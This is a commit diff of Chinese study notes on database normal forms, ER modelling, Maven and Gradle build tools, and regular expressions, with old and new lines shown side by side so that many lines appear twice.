| 1 | 学生-1 | 学院-1 | 院长-1 | 课程-1 | 90 |
| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-2 | 80 |
| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-1 | 100 |
| 3 | 学生-3 | 学院-2 | 院长-2 | 课程-2 | 95 |
不符合范式的关系,会产生很多异常,主要有以下四种异常:
- 冗余数据:例如 `学生-2` 出现了两次。
- 修改异常:修改了一个记录中的信息,但是另一个记录中相同的信息却没有被修改。
- 删除异常:删除一个信息,那么也会丢失其它信息。例如删除了 `课程-1` 需要删除第一行和第三行,那么 `学生-1` 的信息就会丢失。
- 插入异常:例如想要插入一个学生的信息,如果这个学生还没选课,那么就无法插入。
- 冗余数据:例如 `学生-2` 出现了两次。
- 修改异常:修改了一个记录中的信息,但是另一个记录中相同的信息却没有被修改。
- 删除异常:删除一个信息,那么也会丢失其它信息。例如删除了 `课程-1` 需要删除第一行和第三行,那么 `学生-1` 的信息就会丢失。
- 插入异常:例如想要插入一个学生的信息,如果这个学生还没选课,那么就无法插入。
## 范式
## 范式
范式理论是为了解决以上提到四种异常。
高级别范式的依赖于低级别的范式1NF 是最低级别的范式。
高级别范式的依赖于低级别的范式1NF 是最低级别的范式。
<img src="index_files/c2d343f7-604c-4856-9a3c-c71d6f67fecc.png" width="300"/>
<div align="center"> <img src="pics/c2d343f7-604c-4856-9a3c-c71d6f67fecc.png" width="300"/> </div><br>
### 1. 第一范式 (1NF)
### 1. 第一范式 (1NF)
属性不可分。
### 2. 第二范式 (2NF)
### 2. 第二范式 (2NF)
每个非主属性完全函数依赖于键码。
可以通过分解来满足。
<font size=4>**分解前**</font><br>
<font size=4> **分解前** </font><br>
| Sno | Sname | Sdept | Mname | Cname | Grade |
| :---: | :---: | :---: | :---: | :---: |:---:|
| 1 | 学生-1 | 学院-1 | 院长-1 | 课程-1 | 90 |
| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-2 | 80 |
| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-1 | 100 |
| 3 | 学生-3 | 学院-2 | 院长-2 | 课程-2 | 95 |
| Sno | Sname | Sdept | Mname | Cname | Grade |
| :---: | :---: | :---: | :---: | :---: |:---:|
| 1 | 学生-1 | 学院-1 | 院长-1 | 课程-1 | 90 |
| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-2 | 80 |
| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-1 | 100 |
| 3 | 学生-3 | 学院-2 | 院长-2 | 课程-2 | 95 |
以上学生课程关系中,{Sno, Cname} 为键码,有如下函数依赖:
以上学生课程关系中,{Sno, Cname} 为键码,有如下函数依赖:
- Sno -> Sname, Sdept
- Sdept -> Mname
- Sno, Cname-> Grade
- Sno -> Sname, Sdept
- Sdept -> Mname
- Sno, Cname-> Grade
Grade 完全函数依赖于键码,它没有任何冗余数据,每个学生的每门课都有特定的成绩。
Grade 完全函数依赖于键码,它没有任何冗余数据,每个学生的每门课都有特定的成绩。
Sname, Sdept  Mname 都部分依赖于键码,当一个学生选修了多门课时,这些数据就会出现多次,造成大量冗余数据。
Sname, Sdept 和 Mname 都部分依赖于键码,当一个学生选修了多门课时,这些数据就会出现多次,造成大量冗余数据。
<font size=4>**分解后**</font><br>
<font size=4> **分解后** </font><br>
关系-1
| Sno | Sname | Sdept | Mname |
| :---: | :---: | :---: | :---: |
| 1 | 学生-1 | 学院-1 | 院长-1 |
| 2 | 学生-2 | 学院-2 | 院长-2 |
| 3 | 学生-3 | 学院-2 | 院长-2 |
| Sno | Sname | Sdept | Mname |
| :---: | :---: | :---: | :---: |
| 1 | 学生-1 | 学院-1 | 院长-1 |
| 2 | 学生-2 | 学院-2 | 院长-2 |
| 3 | 学生-3 | 学院-2 | 院长-2 |
有以下函数依赖:
- Sno -> Sname, Sdept
- Sdept -> Mname
- Sno -> Sname, Sdept
- Sdept -> Mname
关系-2
| Sno | Cname | Grade |
| :---: | :---: |:---:|
| 1 | 课程-1 | 90 |
| 2 | 课程-2 | 80 |
| 2 | 课程-1 | 100 |
| 3 | 课程-2 | 95 |
| Sno | Cname | Grade |
| :---: | :---: |:---:|
| 1 | 课程-1 | 90 |
| 2 | 课程-2 | 80 |
| 2 | 课程-1 | 100 |
| 3 | 课程-2 | 95 |
有以下函数依赖:
- Sno, Cname ->  Grade
- Sno, Cname -> Grade
### 3. 第三范式 (3NF)
### 3. 第三范式 (3NF)
非主属性不传递函数依赖于键码。
上面的 关系-1 中存在以下传递函数依赖:
上面的 关系-1 中存在以下传递函数依赖:
- Sno -> Sdept -> Mname
- Sno -> Sdept -> Mname
可以进行以下分解:
关系-11
| Sno | Sname | Sdept |
| :---: | :---: | :---: |
| 1 | 学生-1 | 学院-1 |
| 2 | 学生-2 | 学院-2 |
| 3 | 学生-3 | 学院-2 |
| Sno | Sname | Sdept |
| :---: | :---: | :---: |
| 1 | 学生-1 | 学院-1 |
| 2 | 学生-2 | 学院-2 |
| 3 | 学生-3 | 学院-2 |
关系-12
| Sdept | Mname |
| :---: | :---: |
| 学院-1 | 院长-1 |
| 学院-2 | 院长-2 |
| Sdept | Mname |
| :---: | :---: |
| 学院-1 | 院长-1 |
| 学院-2 | 院长-2 |
# 八、ER 
# 八、ER
Entity-Relationship有三个组成部分实体、属性、联系。
用来进行关系型数据库系统的概念设计。
## 实体的三种联系
## 实体的三种联系
包含一对一,一对多,多对多三种。
- 如果 A  B 是一对多关系那么画个带箭头的线段指向 B
- 如果是一对一,画两个带箭头的线段;
- 如果是多对多,画两个不带箭头的线段。
- 如果 A 到 B 是一对多关系,那么画个带箭头的线段指向 B
- 如果是一对一,画两个带箭头的线段;
- 如果是多对多,画两个不带箭头的线段。
下图的 Course  Student 是一对多的关系。
下图的 Course 和 Student 是一对多的关系。
<img src="index_files/292b4a35-4507-4256-84ff-c218f108ee31.jpg" width=""/>
<div align="center"> <img src="pics/292b4a35-4507-4256-84ff-c218f108ee31.jpg" width=""/> </div><br>
## 表示出现多次的关系
## 表示出现多次的关系
一个实体在联系出现几次,就要用几条线连接。
下图表示一个课程的先修关系,先修关系出现两个 Course 实体,第一个是先修课程,后一个是后修课程,因此需要用两条线来表示这种关系。
下图表示一个课程的先修关系,先修关系出现两个 Course 实体,第一个是先修课程,后一个是后修课程,因此需要用两条线来表示这种关系。
<img src="index_files/8b798007-e0fb-420c-b981-ead215692417.jpg" width=""/>
<div align="center"> <img src="pics/8b798007-e0fb-420c-b981-ead215692417.jpg" width=""/> </div><br>
## 联系的多向性
## 联系的多向性
虽然老师可以开设多门课,并且可以教授多名学生,但是对于特定的学生和课程,只有一个老师教授,这就构成了一个三元联系。
<img src="index_files/423f2a40-bee1-488e-b460-8e76c48ee560.png" width=""/>
<div align="center"> <img src="pics/423f2a40-bee1-488e-b460-8e76c48ee560.png" width=""/> </div><br>
一般只使用二元联系,可以把多元联系转换为二元联系。
<img src="index_files/de9b9ea0-1327-4865-93e5-6f805c48bc9e.png" width=""/>
<div align="center"> <img src="pics/de9b9ea0-1327-4865-93e5-6f805c48bc9e.png" width=""/> </div><br>
## 表示子类
## 表示子类
用一个三角形和两条线来连接类和子类,与子类有关的属性和联系都连到子类上,而与父类和子类都有关的连到父类上。
<img src="index_files/7ec9d619-fa60-4a2b-95aa-bf1a62aad408.jpg" width=""/>
<div align="center"> <img src="pics/7ec9d619-fa60-4a2b-95aa-bf1a62aad408.jpg" width=""/> </div><br>
# 参考资料
# 参考资料
- AbrahamSilberschatz, HenryF.Korth, S.Sudarshan, 等. 数据库系统概念 [M]. 机械工业出版社, 2006.
- 施瓦茨. 高性能 MYSQL(第3版)[M]. 电子工业出版社, 2013.
- 史嘉权. 数据库系统概论[M]. 清华大学出版社有限公司, 2006.
- [The InnoDB Storage Engine](https://dev.mysql.com/doc/refman/5.7/en/innodb-storage-engine.html)
- [Transaction isolation levels](https://www.slideshare.net/ErnestoHernandezRodriguez/transaction-isolation-levels)
- [Concurrency Control](http://scanftree.com/dbms/2-phase-locking-protocol)
- [The Nightmare of Locking, Blocking and Isolation Levels!](https://www.slideshare.net/brshristov/the-nightmare-of-locking-blocking-and-isolation-levels-46391666)
- [Database Normalization and Normal Forms with an Example](https://aksakalli.github.io/2012/03/12/database-normalization-and-normal-forms-with-an-example.html)
- [The basics of the InnoDB undo logging and history system](https://blog.jcole.us/2014/04/16/the-basics-of-the-innodb-undo-logging-and-history-system/)
- [MySQL locking for the busy web developer](https://www.brightbox.com/blog/2013/10/31/on-mysql-locks/)
- [浅入浅出 MySQL  InnoDB](https://draveness.me/mysql-innodb)
- [Innodb 中的事务隔离级别和锁的关系](https://tech.meituan.com/2014/08/20/innodb-lock.html)
---bottom---CyC---
![](index_files/bae98438-7db6-41a6-893e-8813248f2f92.jpg)
![](index_files/6675d713-8b59-4067-ad16-fdd538d4bb43.png)
![](index_files/d5dfeb74-a27a-43b8-9121-191d3cb75198.png)
![](index_files/16eea7d2-f5f5-4180-93be-dba7d4e48f5d.png)
![](index_files/036c0e07-0725-4b3c-a684-ab3b16ca7b86.png)
![](index_files/2c437953-08b1-47b9-a780-7dfdc90a3b6f.png)
![](index_files/1a851e90-0d5c-4d4f-ac54-34c20ecfb903.jpg)
![](index_files/e41405a8-7c05-4f70-8092-e961e28d3112.jpg)
![](index_files/c2d343f7-604c-4856-9a3c-c71d6f67fecc.png)
![](index_files/292b4a35-4507-4256-84ff-c218f108ee31.jpg)
![](index_files/8b798007-e0fb-420c-b981-ead215692417.jpg)
![](index_files/423f2a40-bee1-488e-b460-8e76c48ee560.png)
![](index_files/de9b9ea0-1327-4865-93e5-6f805c48bc9e.png)
![](index_files/7ec9d619-fa60-4a2b-95aa-bf1a62aad408.jpg)
- AbrahamSilberschatz, HenryF.Korth, S.Sudarshan, 等. 数据库系统概念 [M]. 机械工业出版社, 2006.
- 施瓦茨. 高性能 MYSQL(第3版)[M]. 电子工业出版社, 2013.
- 史嘉权. 数据库系统概论[M]. 清华大学出版社有限公司, 2006.
- [The InnoDB Storage Engine](https://dev.mysql.com/doc/refman/5.7/en/innodb-storage-engine.html)
- [Transaction isolation levels](https://www.slideshare.net/ErnestoHernandezRodriguez/transaction-isolation-levels)
- [Concurrency Control](http://scanftree.com/dbms/2-phase-locking-protocol)
- [The Nightmare of Locking, Blocking and Isolation Levels!](https://www.slideshare.net/brshristov/the-nightmare-of-locking-blocking-and-isolation-levels-46391666)
- [Database Normalization and Normal Forms with an Example](https://aksakalli.github.io/2012/03/12/database-normalization-and-normal-forms-with-an-example.html)
- [The basics of the InnoDB undo logging and history system](https://blog.jcole.us/2014/04/16/the-basics-of-the-innodb-undo-logging-and-history-system/)
- [MySQL locking for the busy web developer](https://www.brightbox.com/blog/2013/10/31/on-mysql-locks/)
- [浅入浅出 MySQL 和 InnoDB](https://draveness.me/mysql-innodb)
- [Innodb 中的事务隔离级别和锁的关系](https://tech.meituan.com/2014/08/20/innodb-lock.html)

View File

@ -1,133 +1,142 @@
# 一、构建工具的作用
[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
<!-- GFM-TOC -->
* [一、构建工具的作用](#一构建工具的作用)
* [二、Java 主流构建工具](#二java-主流构建工具)
* [三、Maven](#三maven)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
# 一、构建工具的作用
构建工具是用于构建项目的自动化工具,主要包含以下工作:
## 依赖管理
## 依赖管理
不再需要手动导入 Jar 依赖包并且可以自动处理依赖关系也就是说某个依赖如果依赖于其它依赖构建工具可以帮助我们自动处理这种依赖管理。
不再需要手动导入 Jar 依赖包,并且可以自动处理依赖关系,也就是说某个依赖如果依赖于其它依赖,构建工具可以帮助我们自动处理这种依赖管理。
## 运行单元测试
## 运行单元测试
不再需要在项目代码中添加测试代码,从而避免了污染项目代码。
## 将源代码转化为可执行文件
## 将源代码转化为可执行文件
包含预处理、编译、汇编、链接等步骤。
## 将可执行文件进行打包
## 将可执行文件进行打包
不再需要使用 IDE 将应用程序打包成 Jar 包。
不再需要使用 IDE 将应用程序打包成 Jar 包。
## 发布到生产服务器上
## 发布到生产服务器上
不再需要通过 FTP  Jar 包上传到服务器上。
不再需要通过 FTP 将 Jar 包上传到服务器上。
# 二、Java 主流构建工具
# 二、Java 主流构建工具
主要包括 Ant、Maven  Gradle。
主要包括 Ant、Maven 和 Gradle。
![](index_files/897503d0-59e3-4752-903d-529fbdb72fee.jpg)
<div align="center"> <img src="pics/897503d0-59e3-4752-903d-529fbdb72fee.jpg"/> </div><br>
Gradle  Maven 的区别是它使用 Groovy 这种特定领域语言DSL来管理构建脚本而不再使用 XML 这种标记性语言。因为项目如果庞大的话XML 很容易就变得臃肿。
Gradle 和 Maven 的区别是,它使用 Groovy 这种特定领域语言DSL来管理构建脚本而不再使用 XML 这种标记性语言。因为项目如果庞大的话XML 很容易就变得臃肿。
例如要在项目中引入 JunitMaven 的代码如下:
例如要在项目中引入 JunitMaven 的代码如下:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
   <modelVersion>4.0.0</modelVersion>
 
   <groupId>jizg.study.maven.hello</groupId>
   <artifactId>hello-first</artifactId>
   <version>0.0.1-SNAPSHOT</version>
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>jizg.study.maven.hello</groupId>
<artifactId>hello-first</artifactId>
<version>0.0.1-SNAPSHOT</version>
   <dependencies>
          <dependency>
               <groupId>junit</groupId>
               <artifactId>junit</artifactId>
               <version>4.10</version>
               <scope>test</scope>
          </dependency>
   </dependencies>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.10</version>
<scope>test</scope>
</dependency>
</dependencies>
</project>
```
 Gradle 只需要几行代码:
Gradle 只需要几行代码:
```java
dependencies {
    testCompile "junit:junit:4.10"
dependencies {
testCompile "junit:junit:4.10"
}
```
# 三、Maven
# 三、Maven
## 概述
## 概述
提供了项目对象模型POM文件来管理项目的构建。
## 仓库
## 仓库
仓库的搜索顺序为:本地仓库、中央仓库、远程仓库。
- 本地仓库用来存储项目的依赖库;
- 中央仓库是下载依赖库的默认位置;
- 远程仓库,因为并非所有的库存储在中央仓库,或者中央仓库访问速度很慢,远程仓库是中央仓库的补充。
- 本地仓库用来存储项目的依赖库;
- 中央仓库是下载依赖库的默认位置;
- 远程仓库,因为并非所有的库存储在中央仓库,或者中央仓库访问速度很慢,远程仓库是中央仓库的补充。
## POM
## POM
POM 代表项目对象模型它是一个 XML 文件保存在项目根目录的 pom.xml 文件中。
POM 代表项目对象模型,它是一个 XML 文件,保存在项目根目录的 pom.xml 文件中。
```xml
<dependency>
    <groupId>junit</groupId>
    <artifactId>junit</artifactId>
    <version>4.12</version>
    <scope>test</scope>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>test</scope>
</dependency>
```
[groupId, artifactId, version, packaging, classifier] 称为一个项目的坐标其中 groupId、artifactId、version 必须定义packaging 可选默认为 Jarclassifier 不能直接定义的,需要结合插件使用。
[groupId, artifactId, version, packaging, classifier] 称为一个项目的坐标,其中 groupId、artifactId、version 必须定义packaging 可选(默认为 Jarclassifier 不能直接定义的,需要结合插件使用。
- groupId项目组 Id必须全球唯一
- artifactId项目 Id即项目名
- version项目版本
- packaging项目打包方式。
- groupId项目组 Id必须全球唯一
- artifactId项目 Id即项目名
- version项目版本
- packaging项目打包方式。
## 依赖原则
## 依赖原则
### 1. 依赖路径最短优先原则
### 1. 依赖路径最短优先原则
```html
A -> B -> C -> X(1.0)
A -> D -> X(2.0)
A -> B -> C -> X(1.0)
A -> D -> X(2.0)
```
由于 X(2.0) 路径最短,所以使用 X(2.0)。
由于 X(2.0) 路径最短,所以使用 X(2.0)。
### 2. 声明顺序优先原则
### 2. 声明顺序优先原则
```html
A -> B -> X(1.0)
A -> C -> X(2.0)
A -> B -> X(1.0)
A -> C -> X(2.0)
```
 POM 中最先声明的优先上面的两个依赖如果先声明 B那么最后使用 X(1.0)。
POM 中最先声明的优先,上面的两个依赖如果先声明 B那么最后使用 X(1.0)。
### 3. 覆写优先原则
### 3. 覆写优先原则
 POM 内声明的依赖优先于父 POM 中声明的依赖。
POM 内声明的依赖优先于父 POM 中声明的依赖。
## 解决依赖冲突
## 解决依赖冲突
找到 Maven 加载的 Jar 包版本使用 `mvn dependency:tree` 查看依赖树根据依赖原则来调整依赖在 POM 文件的声明顺序。
找到 Maven 加载的 Jar 包版本,使用 `mvn dependency:tree` 查看依赖树,根据依赖原则来调整依赖在 POM 文件的声明顺序。
# 参考资料
# 参考资料
- [POM Reference](http://maven.apache.org/pom.html#Dependency_Version_Requirement_Specification)
- [What is a build tool?](https://stackoverflow.com/questions/7249871/what-is-a-build-tool)
- [Java Build Tools Comparisons: Ant vs Maven vs Gradle](https://programmingmitra.blogspot.com/2016/05/java-build-tools-comparisons-ant-vs.html)
- [maven 2 gradle](http://sagioto.github.io/maven2gradle/)
- [新一代构建工具 gradle](https://www.imooc.com/learn/833)
- [POM Reference](http://maven.apache.org/pom.html#Dependency_Version_Requirement_Specification)
- [What is a build tool?](https://stackoverflow.com/questions/7249871/what-is-a-build-tool)
- [Java Build Tools Comparisons: Ant vs Maven vs Gradle](https://programmingmitra.blogspot.com/2016/05/java-build-tools-comparisons-ant-vs.html)
- [maven 2 gradle](http://sagioto.github.io/maven2gradle/)
- [新一代构建工具 gradle](https://www.imooc.com/learn/833)

View File

@ -1,4 +1,20 @@
# 一、概述
[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
<!-- GFM-TOC -->
* [一、概述](#一概述)
* [二、匹配单个字符](#二匹配单个字符)
* [三、匹配一组字符](#三匹配一组字符)
* [四、使用元字符](#四使用元字符)
* [五、重复匹配](#五重复匹配)
* [六、位置匹配](#六位置匹配)
* [七、使用子表达式](#七使用子表达式)
* [八、回溯引用](#八回溯引用)
* [九、前后查找](#九前后查找)
* [十、嵌入条件](#十嵌入条件)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
# 一、概述
正则表达式用于文本内容的查找和替换。
@ -6,368 +22,368 @@
[正则表达式在线工具](https://regexr.com/)
# 二、匹配单个字符
# 二、匹配单个字符
**.** 可以用来匹配任何的单个字符,但是在绝大多数实现里面,不能匹配换行符;
**.** 可以用来匹配任何的单个字符,但是在绝大多数实现里面,不能匹配换行符;
**.** 是元字符,表示它有特殊的含义,而不是字符本身的含义。如果需要匹配 . ,那么要用 \ 进行转义,即在 . 前面加上 \ 
**.** 是元字符,表示它有特殊的含义,而不是字符本身的含义。如果需要匹配 . ,那么要用 \ 进行转义,即在 . 前面加上 \
正则表达式一般是区分大小写的,但是也有些实现是不区分。
**正则表达式**
**正则表达式**
```
nam.
```
**匹配结果**
**匹配结果**
My **name** is Zheng.
My **name** is Zheng.
# 三、匹配一组字符
# 三、匹配一组字符
**[ ]** 定义一个字符集合;
**[ ]** 定义一个字符集合;
0-9、a-z 定义了一个字符区间区间使用 ASCII 码来确定字符区间在 [ ] 中使用。
0-9、a-z 定义了一个字符区间,区间使用 ASCII 码来确定,字符区间在 [ ] 中使用。
**-** 只有在 [ ] 之间才是元字符,在 [ ] 之外就是一个普通字符;
**-** 只有在 [ ] 之间才是元字符,在 [ ] 之外就是一个普通字符;
**^** 在 [ ] 中是取非操作。
**^** 在 [ ] 中是取非操作。
**应用**
**应用**
匹配以 abc 为开头,并且最后一个字母不为数字的字符串:
匹配以 abc 为开头,并且最后一个字母不为数字的字符串:
**正则表达式**
**正则表达式**
```
abc[^0-9]
```
**匹配结果**
**匹配结果**
1. **abcd**
2. abc1
3. abc2
1. **abcd**
2. abc1
3. abc2
# 四、使用元字符
# 四、使用元字符
## 匹配空白字符
## 匹配空白字符
|  元字符 | 说明  |
| :---: | :---: |
|  [\b] | 回退(删除)一个字符   |
|  \f |  换页符 |
|  \n |  换行符 |
|  \r |  回车符 |
|  \t |  制表符 |
|  \v |  垂直制表符 |
| 元字符 | 说明 |
| :---: | :---: |
| [\b] | 回退(删除)一个字符 |
| \f | 换页符 |
| \n | 换行符 |
| \r | 回车符 |
| \t | 制表符 |
| \v | 垂直制表符 |
\r\n  Windows 中的文本行结束标签 Unix/Linux 则是 \n。
\r\n 是 Windows 中的文本行结束标签,在 Unix/Linux 则是 \n。
\r\n\r\n 可以匹配 Windows 下的空白行,因为它将匹配两个连续的行尾标签,而这正是两条记录之间的空白行;
\r\n\r\n 可以匹配 Windows 下的空白行,因为它将匹配两个连续的行尾标签,而这正是两条记录之间的空白行;
## 匹配特定的字符类别
## 匹配特定的字符类别
### 1. 数字元字符
### 1. 数字元字符
|  元字符 | 说明  |
| :---: | :---: |
| \d  | 数字字符,等价于 [0-9]  |
| \D  | 非数字字符,等价于 [^0-9]   |
| 元字符 | 说明 |
| :---: | :---: |
| \d | 数字字符,等价于 [0-9] |
| \D | 非数字字符,等价于 [^0-9] |
### 2. 字母数字元字符
### 2. 字母数字元字符
|  元字符 | 说明  |
| :---: | :---: |
| \w  |  大小写字母,下划线和数字,等价于 [a-zA-Z0-9\_] |
|  \W |  对 \w 取非 |
| 元字符 | 说明 |
| :---: | :---: |
| \w | 大小写字母,下划线和数字,等价于 [a-zA-Z0-9\_] |
| \W | 对 \w 取非 |
### 3. 空白字符元字符
### 3. 空白字符元字符
| 元字符  | 说明  |
| :---: | :---: |
|  \s | 任何一个空白字符,等价于 [\f\n\r\t\v]  |
| \S  |  对 \s 取非  |
| 元字符 | 说明 |
| :---: | :---: |
| \s | 任何一个空白字符,等价于 [\f\n\r\t\v] |
| \S | 对 \s 取非 |
\x 匹配十六进制字符,\0 匹配八进制例如 \x0A 对应 ASCII 字符 10等价于 \n。
\x 匹配十六进制字符,\0 匹配八进制,例如 \x0A 对应 ASCII 字符 10等价于 \n。
# 五、重复匹配
# 五、重复匹配
- **\+** 匹配 1 个或者多个字符
- **\*** 匹配 0 个或者多个
- **?** 匹配 0 个或者 1 
- **\+** 匹配 1 个或者多个字符
- **\** * 匹配 0 个或者多个
- **?** 匹配 0 个或者 1
**应用**
**应用**
匹配邮箱地址。
**正则表达式**
**正则表达式**
```
[\w.]+@\w+\.\w+
```
[\w.] 匹配的是字母数字或者 . ,在其后面加上 + ,表示匹配多次。在字符集合 [ ] 里,. 不是元字符;
[\w.] 匹配的是字母数字或者 . ,在其后面加上 + ,表示匹配多次。在字符集合 [ ] 里,. 不是元字符;
**匹配结果**
**匹配结果**
**abc.def<span>@</span>qq.com**
**abc.def<span>@</span>qq.com**
- **{n}** 匹配 n 个字符
- **{m, n}** 匹配 m~n 个字符
- **{m,}** 至少匹配 m 个字符
- **{n}** 匹配 n 个字符
- **{m, n}** 匹配 m\~n 个字符
- **{m,}** 至少匹配 m 个字符
\* 和 + 都是贪婪型元字符,会匹配最多的内容。在后面加 ? 可以转换为懒惰型元字符,例如 \*?、+? 和 {m, n}? 
\* 和 + 都是贪婪型元字符,会匹配最多的内容。在后面加 ? 可以转换为懒惰型元字符,例如 \*?、+? 和 {m, n}?
**正则表达式**
**正则表达式**
```
a.+c
```
由于 + 是贪婪型的,因此 .+ 会匹配更可能多的内容所以会把整个 abcabcabc 文本都匹配而不是只匹配前面的 abc 文本。用懒惰型可以实现匹配前面的。
由于 + 是贪婪型的,因此 .+ 会匹配更可能多的内容,所以会把整个 abcabcabc 文本都匹配,而不是只匹配前面的 abc 文本。用懒惰型可以实现匹配前面的。
**匹配结果**
**匹配结果**
**abcabcabc**
**abcabcabc**
# 六、位置匹配
# 六、位置匹配
## 单词边界
## 单词边界
**\b** 可以匹配一个单词的边界,边界是指位于 \w  \W 之间的位置**\B** 匹配一个不是单词边界的位置。
**\b** 可以匹配一个单词的边界,边界是指位于 \w 和 \W 之间的位置;**\B** 匹配一个不是单词边界的位置。
\b 只匹配位置,不匹配字符,因此 \babc\b 匹配出来的结果为 3 个字符。
\b 只匹配位置,不匹配字符,因此 \babc\b 匹配出来的结果为 3 个字符。
## 字符串边界
## 字符串边界
**^** 匹配整个字符串的开头,**$** 匹配结尾。
**^** 匹配整个字符串的开头,**$** 匹配结尾。
^ 元字符在字符集合中用作求非,在字符集合外用作匹配字符串的开头。
^ 元字符在字符集合中用作求非,在字符集合外用作匹配字符串的开头。
分行匹配模式multiline换行被当做字符串的边界。
**应用**
**应用**
匹配代码中以 // 开始的注释行
匹配代码中以 // 开始的注释行
**正则表达式**
**正则表达式**
```
^\s*\/\/.*$
```
![](index_files/600e9c75-5033-4dad-ae2b-930957db638e.png)
<div align="center"> <img src="pics/600e9c75-5033-4dad-ae2b-930957db638e.png"/> </div><br>
**匹配结果**
**匹配结果**
1. public void fun() {
2. &nbsp;&nbsp;&nbsp;&nbsp;    **// 注释 1**
3. &nbsp;&nbsp;&nbsp;&nbsp;    int a = 1;
4. &nbsp;&nbsp;&nbsp;&nbsp;    int b = 2;
5. &nbsp;&nbsp;&nbsp;&nbsp;    **// 注释 2**
6. &nbsp;&nbsp;&nbsp;&nbsp;    int c = a + b;
7. }
1. public void fun() {
2. &nbsp;&nbsp;&nbsp;&nbsp; **// 注释 1**
3. &nbsp;&nbsp;&nbsp;&nbsp; int a = 1;
4. &nbsp;&nbsp;&nbsp;&nbsp; int b = 2;
5. &nbsp;&nbsp;&nbsp;&nbsp; **// 注释 2**
6. &nbsp;&nbsp;&nbsp;&nbsp; int c = a + b;
7. }
# 七、使用子表达式
# 七、使用子表达式
使用 **( )** 定义一个子表达式。子表达式的内容可以当成一个独立元素,即可以将它看成一个字符,并且使用 * 等元字符。
使用 **( )** 定义一个子表达式。子表达式的内容可以当成一个独立元素,即可以将它看成一个字符,并且使用 * 等元字符。
子表达式可以嵌套,但是嵌套层次过深会变得很难理解。
**正则表达式**
**正则表达式**
```
(ab){2,}
```
**匹配结果**
**匹配结果**
**ababab**
**ababab**
**|** 是或元字符,它把左边和右边所有的部分都看成单独的两个部分,两个部分只要有一个匹配就行。
**|** 是或元字符,它把左边和右边所有的部分都看成单独的两个部分,两个部分只要有一个匹配就行。
**正则表达式**
**正则表达式**
```
(19|20)\d{2}
```
**匹配结果**
**匹配结果**
1. **1900**
2. **2010**
3. 1020
1. **1900**
2. **2010**
3. 1020
**应用**
**应用**
匹配 IP 地址。
匹配 IP 地址。
IP 地址中每部分都是 0-255 的数字,用正则表达式匹配时以下情况是合法的:
IP 地址中每部分都是 0-255 的数字,用正则表达式匹配时以下情况是合法的:
- 一位数字
- 不以 0 开头的两位数字
- 1 开头的三位数
- 2 开头 2 位是 0-4 的三位数
- 25 开头 3 位是 0-5 的三位数
- 一位数字
- 不以 0 开头的两位数字
- 1 开头的三位数
- 2 开头,第 2 位是 0-4 的三位数
- 25 开头,第 3 位是 0-5 的三位数
**正则表达式**
**正则表达式**
```
((25[0-5]|(2[0-4]\d)|(1\d{2})|([1-9]\d)|(\d))\.){3}(25[0-5]|(2[0-4]\d)|(1\d{2})|([1-9]\d)|(\d))
```
**匹配结果**
**匹配结果**
1. **192.168.0.1**
2. 00.00.00.00
3. 555.555.555.555
1. **192.168.0.1**
2. 00.00.00.00
3. 555.555.555.555
# 八、回溯引用
# 八、回溯引用
回溯引用使用 **\n** 来引用某个子表达式其中 n 代表的是子表达式的序号 1 开始。它和子表达式匹配的内容一致比如子表达式匹配到 abc那么回溯引用部分也需要匹配 abc 
回溯引用使用 **\n** 来引用某个子表达式,其中 n 代表的是子表达式的序号,从 1 开始。它和子表达式匹配的内容一致,比如子表达式匹配到 abc那么回溯引用部分也需要匹配 abc
**应用**
**应用**
匹配 HTML 中合法的标题元素。
匹配 HTML 中合法的标题元素。
**正则表达式**
**正则表达式**
\1 将回溯引用子表达式 (h[1-6]) 匹配的内容,也就是说必须和子表达式匹配的内容一致。
\1 将回溯引用子表达式 (h[1-6]) 匹配的内容,也就是说必须和子表达式匹配的内容一致。
```
<(h[1-6])>\w*?<\/\1>
```
**匹配结果**
**匹配结果**
1. **&lt;h1>x&lt;/h1>**
2. **&lt;h2>x&lt;/h2>**
3. &lt;h3>x&lt;/h1>
1. **&lt;h1>x&lt;/h1>**
2. **&lt;h2>x&lt;/h2>**
3. &lt;h3>x&lt;/h1>
## 替换
## 替换
需要用到两个正则表达式。
**应用**
**应用**
修改电话号码格式。
**文本**
**文本**
313-555-1234
**查找正则表达式**
**查找正则表达式**
```
(\d{3})(-)(\d{3})(-)(\d{4})
```
**替换正则表达式**
**替换正则表达式**
在第一个子表达式查找的结果加上 () ,然后加一个空格,在第三个和第五个字表达式查找的结果中间加上 - 进行分隔。
在第一个子表达式查找的结果加上 () ,然后加一个空格,在第三个和第五个字表达式查找的结果中间加上 - 进行分隔。
```
($1) $3-$5
($1) $3-$5
```
**结果**
**结果**
(313) 555-1234
(313) 555-1234
## 大小写转换
## 大小写转换
|  元字符 | 说明  |
| :---: | :---: |
|  \l | 把下个字符转换为小写  |
|   \u| 把下个字符转换为大写  |
|  \L | 把\L 和\E 之间的字符全部转换为小写  |
|  \U | 把\U 和\E 之间的字符全部转换为大写  |
|  \E | 结束\L 或者\U  |
| 元字符 | 说明 |
| :---: | :---: |
| \l | 把下个字符转换为小写 |
| \u| 把下个字符转换为大写 |
| \L | 把\L 和\E 之间的字符全部转换为小写 |
| \U | 把\U 和\E 之间的字符全部转换为大写 |
| \E | 结束\L 或者\U |
**应用**
**应用**
